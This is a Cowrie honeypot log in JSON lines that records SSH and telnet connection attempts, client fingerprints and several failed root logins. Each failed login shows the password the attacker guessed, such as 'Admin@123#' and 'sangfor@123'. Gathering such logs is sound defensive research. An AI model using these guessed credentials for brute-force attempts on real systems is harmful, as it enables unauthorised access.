{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:31.771213Z","src_ip":"78.44.192.210","session":"7b994e71d6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maomao123","message":"login attempt [root/maomao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:32.242020Z","src_ip":"78.44.192.210","session":"7b994e71d6fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:33.356082Z","src_ip":"78.44.192.210","session":"7b994e71d6fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.224","src_port":40371,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf4837f81a27","protocol":"ssh","message":"New connection: 65.49.1.224:40371 (159.203.135.109:22) [session: cf4837f81a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:37.976408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:37.980810Z","src_ip":"65.49.1.224","session":"cf4837f81a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:38.056463Z","src_ip":"65.49.1.224","session":"cf4837f81a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:41.976845Z","src_ip":"65.49.1.224","session":"cf4837f81a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":37470,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a73b8d22c2f","protocol":"ssh","message":"New connection: 121.168.139.251:37470 (10.17.0.5:22) [session: 5a73b8d22c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:47.313753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:47.319103Z","src_ip":"121.168.139.251","session":"5a73b8d22c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:47.521445Z","src_ip":"121.168.139.251","session":"5a73b8d22c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123#","message":"login attempt [root/Admin@123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:48.364439Z","src_ip":"121.168.139.251","session":"5a73b8d22c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:49.570822Z","src_ip":"121.168.139.251","session":"5a73b8d22c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":41184,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fd143100435","protocol":"ssh","message":"New connection: 103.15.222.183:41184 (10.17.0.5:22) [session: 3fd143100435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:57.434714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:57.439339Z","src_ip":"103.15.222.183","session":"3fd143100435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:57.682204Z","src_ip":"103.15.222.183","session":"3fd143100435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22071986","message":"login attempt [root/22071986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:58.412580Z","src_ip":"103.15.222.183","session":"3fd143100435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":39838,"dst_ip":"10.17.0.5","dst_port":22,"session":"a26a27e1db1d","protocol":"ssh","message":"New connection: 103.27.238.114:39838 (10.17.0.5:22) [session: a26a27e1db1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:59.442530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:59.446920Z","src_ip":"103.27.238.114","session":"a26a27e1db1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:59.658042Z","src_ip":"103.15.222.183","session":"3fd143100435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:53:59.707859Z","src_ip":"103.27.238.114","session":"a26a27e1db1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"egor2004","message":"login attempt [root/egor2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:00.493677Z","src_ip":"103.27.238.114","session":"a26a27e1db1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":40440,"dst_ip":"10.17.0.5","dst_port":22,"session":"926d98a5f5b8","protocol":"ssh","message":"New connection: 45.233.218.160:40440 (10.17.0.5:22) [session: 926d98a5f5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:01.461194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:01.467441Z","src_ip":"45.233.218.160","session":"926d98a5f5b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:01.603185Z","src_ip":"45.233.218.160","session":"926d98a5f5b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:01.757562Z","src_ip":"103.27.238.114","session":"a26a27e1db1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sangfor@123","message":"login attempt [root/sangfor@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:02.170996Z","src_ip":"45.233.218.160","session":"926d98a5f5b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:03.313699Z","src_ip":"45.233.218.160","session":"926d98a5f5b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.225637674331665,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:17.083084Z","src_ip":"79.139.59.21","session":"ca8ace600618","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":49490,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e97985d58f2","protocol":"ssh","message":"New connection: 103.82.20.28:49490 (10.17.0.5:22) [session: 5e97985d58f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:30.274146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:30.280711Z","src_ip":"103.82.20.28","session":"5e97985d58f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:30.538915Z","src_ip":"103.82.20.28","session":"5e97985d58f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":59094,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5dcc32e102b","protocol":"ssh","message":"New connection: 79.143.189.125:59094 (10.17.0.5:22) [session: d5dcc32e102b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:30.949441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:30.954738Z","src_ip":"79.143.189.125","session":"d5dcc32e102b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:31.047339Z","src_ip":"79.143.189.125","session":"d5dcc32e102b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123a123","message":"login attempt [root/a123a123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:31.310185Z","src_ip":"103.82.20.28","session":"5e97985d58f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian123","message":"login attempt [root/debian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:31.449545Z","src_ip":"79.143.189.125","session":"d5dcc32e102b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:32.547462Z","src_ip":"79.143.189.125","session":"d5dcc32e102b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:32.568939Z","src_ip":"103.82.20.28","session":"5e97985d58f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":39846,"dst_ip":"159.203.135.109","dst_port":23,"session":"31b3a822a59f","protocol":"telnet","message":"New connection: 79.139.59.21:39846 (159.203.135.109:23) [session: 31b3a822a59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:54:38.616777Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.177.237.140","src_port":53910,"dst_ip":"159.203.135.109","dst_port":23,"session":"64daedddd244","protocol":"telnet","message":"New connection: 201.177.237.140:53910 (159.203.135.109:23) [session: 64daedddd244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:11.559753Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":34610,"dst_ip":"10.17.0.5","dst_port":22,"session":"10137f213709","protocol":"ssh","message":"New connection: 78.44.192.210:34610 (10.17.0.5:22) [session: 10137f213709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:22.584541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:22.589989Z","src_ip":"78.44.192.210","session":"10137f213709","protocol":"ssh"}
